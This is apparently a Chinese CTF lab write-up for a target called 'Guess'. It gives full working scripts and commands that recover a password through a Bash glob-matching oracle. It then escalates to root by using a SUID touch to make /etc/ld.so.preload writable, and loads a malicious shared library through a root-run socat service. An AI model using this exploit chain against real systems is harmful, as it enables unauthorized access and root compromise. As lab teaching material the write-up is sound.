

Guess 靶机渗透测试 WP

整条利用链可以概括为：先通过 4567 端口的 Bash 模式匹配漏洞恢复密码，登录 SSH 拿到 userflag；然后利用 SUID touch 配合 umask 创建可写的 /etc/ld.so.preload，最终借助 root 启动的服务加载恶意共享库拿到 rootflag。

1. 信息收集

拿到目标地址 10.254.0.24 后，先做一次全端口扫描。这里使用 -Pn，是因为靶机不一定会响应 ICMP 探测；如果直接依赖 ping 判断主机是否存活，可能会漏掉实际在线的目标。

```
nmap -Pn -sT -p- --min-rate 2000 10.254.0.24
```

几个参数的作用如下：

- Pn：跳过主机发现，直接把目标当成在线主机扫描。
- sT：使用 TCP Connect 扫描，适合当前权限不足以进行 SYN 扫描的情况。
- p-：扫描全部 TCP 端口，而不是只扫描常见端口。
- min-rate 2000：提高发包速率，让全端口扫描更快完成。

扫描发现目标开放了两个端口：

端口	服务	初步判断
22/tcp	OpenSSH	可以尝试 SSH 登录，但目前还不知道密码
4567/tcp	未知自定义服务	值得重点关注，可能是题目提供的入口

对这两个端口继续做版本探测和默认脚本探测：

```
nmap -Pn -sV -sC -p 22,4567 10.254.0.24
```

1.1 SSH Banner 泄露用户名

直接连接 SSH，可以看到认证前的提示：

```
Username: scdyh
```

这说明目标服务把系统用户名 `scdyh` 直接显示出来了。这里得到的是用户名，不是密码，但后面如果能从其他服务中恢复出密码，就可以直接组合成 SSH 登录凭据。

可以使用 SSH 客户端观察，也可以用 `nc` 简单查看服务返回内容：

```
ssh scdyh@10.254.0.24
```

1.2 查看 4567 端口的行为

先和 4567 端口建立连接：

```
nc 10.254.0.24 4567
```

服务会提示输入密码：

```
Input Password:
```

随便输入一个值观察返回结果。例如输入 `*`：

```
Password correct
```

不过这里不算 shell，因为输入完成后连接会关闭，服务既没有返回命令行。这个“Password correct”更像是一个布尔判断接口：我们可以通过不断改变输入，观察它返回 `correct` 还是 `incorrect`，从而推断真实密码的内容。

2. 初始访问：利用 Bash 模式匹配恢复密码

2.1 先确定密码长度

`?` 在 Bash 模式中表示任意一个字符。和 `*` 不同，`?` 只能匹配一个字符，而且不能多也不能少。因此，如果真实密码长度是 20，那么连续 20 个 `?` 才能匹配成功：

```
????????????????????
```

也可以写一个小脚本从 1 开始逐个尝试：

```

import socket

HOST = "10.254.0.24"
PORT = 4567

def check(pattern: str) -> bool:
    s = socket.create_connection((HOST, PORT), timeout=5)
    s.settimeout(1.5)

    # 读取服务的 Input Password 提示，避免直接发送时出现时序问题
    s.recv(256)
    s.sendall(pattern.encode() + b"\n")

    data = s.recv(256)
    s.close()
    return b"Password correct" in data and b"incorrect" not in data

for length in range(1, 40):
    if check("?" * length):
        print("password length =", length)
        break

```

本题得到密码长度为 20。确定长度后，后续就可以按字符逐个恢复，而不需要再进行大范围猜测。

2.2 使用前缀加 * 逐位恢复密码

假设当前已经知道密码前缀是 AyS，想判断下一位是不是 4，可以发送：

```
AyS4*
```

如果真实密码确实以 AyS4 开头，末尾的 * 就能匹配后面的所有字符，服务返回 Password correct；如果下一位不是 4，就会返回 Password incorrect。

因此，脚本的思路就是：

1. 从一个候选字符集里取出一个字符。
2. 拼成“已知前缀 + 候选字符 + *”。

3. 连接 4567 端口并观察返回结果。
4. 如果匹配成功，就把该字符加入已知前缀。
5. 重复以上步骤，直到恢复出完整密码。

本题密码只包含大小写字母和数字，因此候选字符集可以先写成：

```
charset =  
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
```

完整脚本如下：

```
import socket

HOST = "10.254.0.24"
PORT = 4567

def check(pattern: str) -> bool:
    s = socket.create_connection((HOST, PORT), timeout=5)
    s.settimeout(1.5)
    s.recv(256)
    s.sendall(pattern.encode() + b"\n")
    data = s.recv(256)
    s.close()

    return b"Password correct" in data and b"incorrect" not in data

# 先确认长度
password_length = 20
assert check("?" * password_length)

charset =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
known = ""

while len(known) < password_length:
    found = False

    for ch in charset:
        pattern = known + ch + "*"
        if check(pattern):
            known += ch
            print("[+]", known)
            found = True
            break

    if not found:
        raise RuntimeError("当前字符没有匹配成功, 请检查字符集或网络连接")
```

```
print("password =", known)
```

最终恢复出密码：

```
AyS4b0QNXhVV2wADT44C
```

这里的关键点是：`*` 的“假成功”只能说明某个模式匹配成功，它本身不等于已经拿到真实密码，更不会直接给我们 shell。真正有用的是利用 `?` 判断长度，再用“前缀 + `*`”逐位缩小范围。

2.3 通过 SSH 登录并读取 userflag

现在已经有了用户名和密码：

```
Username: scdyh  
Password: AyS4b0QNXhVV2wADT44C
```

尝试 SSH 登录：

```
ssh scdyh@10.254.0.24
```

登录成功后读取用户 flag：

```
cat /home/scdyh/user.txt
```

得到：

```
flag{user-5738612a8388c5be297c781beb9c73b8}
```

2.5 查看服务源码

登录后可以读取 `/opt/a.sh`，并且从服务启动方式可以看出，4567 端口实际上是由 root 启动的 `socat` 监听，并执行这个脚本：

```
socat TCP-LISTEN:4567,reuseaddr,fork EXEC:/opt/a.sh
```

脚本内容如下：

```
#!/bin/bash
echo -ne "Input Password: "
read input
if [[ "AyS4b0QNXhVV2wADT44C" == $input ]]; then
    echo "Password correct"
else
    echo "Password incorrect"
fi
```

真正的问题出在这一行：

```
[[ "AyS4b0QNXhVV2wADT44C" == $input ]]
```

很多人第一眼会把它理解成“把固定密码和用户输入做字符串比较”。但在 Bash 的 `[[ ... ]]` 条件表达式中，如果 `==` 右侧的内容没有加引号，它会被当成 **模式匹配表达式**，而不是普通的字面量比较。

也就是说，`$input` 不是简单地代表“用户输入了什么”，其中的 `*`、`?` 等字符还会被 Bash 当作通配符处理。

举几个例子：

输入	返回结果	解释
AyS4b0QNXhVV2wADT44C	correct	完全匹配真实密码
*	correct	* 可以匹配任意长度的任意字符串
****	correct	多个 * 仍然可以匹配整个密码
A*	correct	只要密码以 A 开头，后面的 * 就可以匹配剩余部分
B*	incorrect	真实密码并不是以 B 开头
????????????????????	correct	20 个 ? 恰好匹配 20 个字符

所以，4567 端口实际上提供了一个“密码模式匹配预言机”：我们不能一次性看到密码，但可以通过返回值判断某个模式是否能够匹配密码。

3. 权限提升：SUID touch 配合 ld.so.preload

拿到普通用户权限后，下一步就是进行本地枚举。先看看当前用户目录：

```
ls -la /home/scdyh
```

发现其中有一个名为 touch 的可执行文件：

```
-rwsr-sr-x 1 root root 88520 ... touch
```

权限字符串里的两个 s 很关键：

- 第一个 s 表示文件带有 SUID 位。
- 第二个 s 表示文件带有 SGID 位。
- 文件属主是 root，所以执行它时，有机会以 root 的有效身份运行。

也可以用下面的命令对整台机器进行 SUID 枚举：

```
find / -perm -4000 -type f 2>/dev/null
```

3.1 SUID touch 提权解析

touch 的主要功能是：

- 创建不存在的文件；
- 更新已有文件的时间戳。

单看这个功能，touch 并不能直接往文件里写内容。但是，SUID 程序在创建文件时会以 root 的有效 UID 执行，而新文件的权限又会受到当前进程 umask 的影响。如果把 umask 设置成 0，就有机会创建一个：

```
属主是 root，但普通用户也能写
```

的文件。

先在 /tmp 做一个无害测试：


```
python3 -c "import os; os.umask(0); os.system('/home/scdyh/touch /tmp/test')"  
ls -la /tmp/test
```

如果看到类似结果：

```
-rw-rw-rw- 1 root root 0 ... /tmp/test
```

就说明利用条件成立了。这里的逻辑可以拆开理解：

1. `os.umask(0)` 让新文件不被额外扣除权限。
2. `/home/scdyh/touch` 因为是 root SUID 文件，所以创建者身份是 root。
3. `touch` 创建普通文件时通常使用 `0666` 作为基础权限。
4. 最终文件就是 `0666`，也就是 `rw-rw-rw-`。

3.2 选择合适的敏感文件

有了“root 创建、普通用户可写”的能力之后，理论上可以考虑很多配置文件，例如 `cron`、`sudo` 配置等。但这类文件通常会主动拒绝或忽略 `world-writable` 配置，直接使用容易失败。

这里更合适的目标是：

```
/etc/ld.so.preload
```

Linux 动态链接器会读取这个文件，并在启动动态链接程序时加载里面列出的共享库。只要我们能把自己的 `.so` 路径写进去，后面每次有合适的动态程序启动时，就会先执行我们的库代码。

需要注意的是，SUID / SGID 程序处于 `secure-execution` 场景时，动态加载器有额外的安全限制。因此不要把“触发 SUID 程序”当作主要思路，而应该找一个由 root 运行、但本身不是 SUID 的普通动态程序来触发。这个靶机里，4567 端口的服务正好满足条件：它由 root 启动，并通过 `EXEC:/opt/a.sh` 启动新的 Bash 进程。

3.3 创建可写的 `/etc/ld.so.preload`

确认目标文件不存在或权限符合预期后，使用 SUID `touch` 创建它：

```
python3 -c "import os; os.umask(0); os.system('/home/scdyh/touch /etc/ld.so.preload')"
```

检查权限：

```
ls -la /etc/ld.so.preload
```

理想结果类似：

```
-rw-rw-rw- 1 root root ... /etc/ld.so.preload
```

此时虽然文件属主仍然是 root，但普通用户可以直接写入内容。后面只需要把恶意共享库的绝对路径写进去即可。

3.4 编写恶意共享库

共享库可以利用构造函数 `constructor`。当动态链接器加载这个 `.so` 时，构造函数会在目标程序的 `main()` 之前自动执行。

`pwn_safe.c` 内容如下：

```
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void pwn(void) {
    /* 关键：先删除 preload，避免后面的 system() 无限递归加载自身 */
    unlink("/etc/ld.so.preload");

    if (geteuid() == 0) {
        system("cp /root/root.txt /tmp/rootflag.txt; chmod 644 /tmp/rootflag.txt");
        system("cp /root/root.txt /home/scdyh/rootflag.txt; chmod 644 /home/scdyh/rootflag.txt");
    }
}
```

这里最容易踩坑的是 `unlink("/etc/ld.so.preload")`。如果不先删除 preload 文件，执行 `system()` 时会启动新的 `/bin/sh`；这个新 shell 也会再次读取 `/etc/ld.so.preload`，然后重新执行 `pwn()`，形成递归：

```
加载 SO → constructor → system() → 新 shell → 再加载 SO → constructor →  
...
```

最终可能出现大量进程、资源耗尽，甚至把 SSH 服务拖挂。因此一定要先删除 preload，再调用 `system()`。

代码中还通过 `geteuid() == 0` 判断当前是否真的拿到了 root 有效身份。满足条件后，把 `/root/root.txt` 复制到普通用户可以读取的位置，并设置为 644 权限。

3.5 编译共享库

先确认攻击机和靶机的架构。如果攻击机是 ARM，而靶机是 x86_64，直接用本机 `gcc` 编译出来的文件可能无法执行。可以在靶机上查看架构：

```
uname -m
```

本题靶机为 x86_64 时，可以使用交叉编译器：

```
x86_64-linux-gnu-gcc -shared -fPIC -o pwn_safe.so pwn_safe.c
```

参数含义：

- `-shared`：生成共享库，而不是普通可执行文件。
- `-fPIC`：生成位置无关代码，适合被动态加载。
- `-o pwn_safe.so`：指定输出文件名。

如果攻击机本身就是 x86_64，也可以直接使用：

```
gcc -shared -fPIC -o pwn_safe.so pwn_safe.c
```

编译后可以用 `file` 检查文件类型：

```
file pwn_safe.so
```

确认架构正确后，将它上传到靶机，例如：

```
scp pwn_safe.so scdyh@10.254.0.24:/tmp/pwn_safe.so
```

3.6 写入 preload 并触发 root 服务

共享库上传完成后，把它的绝对路径写入 `/etc/ld.so.preload`：

```
echo '/tmp/pwn_safe.so' > /etc/ld.so.preload
```

可以检查内容是否正确：

```
cat /etc/ld.so.preload
```

此时还需要启动一个由 root 执行的普通动态程序。4567 服务的启动命令是：

```
socat TCP-LISTEN:4567,reuseaddr,fork EXEC:/opt/a.sh
```

客户端连接后，服务端会执行新的 `/opt/a.sh`，而这个 Bash 进程会读取 `/etc/ld.so.preload` 并加载我们的共享库。因此重新连接 4567 即可触发：

```
python3 - <<'PY'
import socket

s = socket.create_connection(("10.254.0.24", 4567), timeout=5)
s.recv(256)
s.sendall(b"*\n")
print(s.recv(256).decode(errors="ignore"))
s.close()
PY
```

触发过程大致是：

连接 4567

- root 权限下启动新的 Bash
- 动态链接器读取 `/etc/ld.so.preload`
- 加载 `/tmp/pwn_safe.so`
- 执行 constructor
- 删除 preload 文件
- 复制 `/root/root.txt`

如果代码执行成功，就可以读取 rootflag：

```
cat /tmp/rootflag.txt
```

或者：

```
cat /home/scdyh/rootflag.txt
```

得到：

```
flag{root-7897e60dbb8302090c5d5c116fbb8a42}
```

4. 完整攻击链路

全端口扫描发现 22、4567

↓

SSH Banner 泄露用户名 scdyh

↓

利用 Bash glob 模式匹配：? 判断长度，前缀 + * 逐位恢复密码

↓

使用 scdyh / AyS4b0QNXhVV2wADT44C 登录 SSH

↓

读取 /home/scdyh/user.txt, 获得 userflag

↓

本地枚举发现 root SUID touch

↓

设置 umask 0, 创建 root:root 且 world-writable 的 /etc/ld.so.preload

↓

写入恶意共享库路径

↓

重新连接 4567, 触发 root Bash 加载共享库

↓

constructor 先删除 preload, 再复制 /root/root.txt

↓

读取 rootflag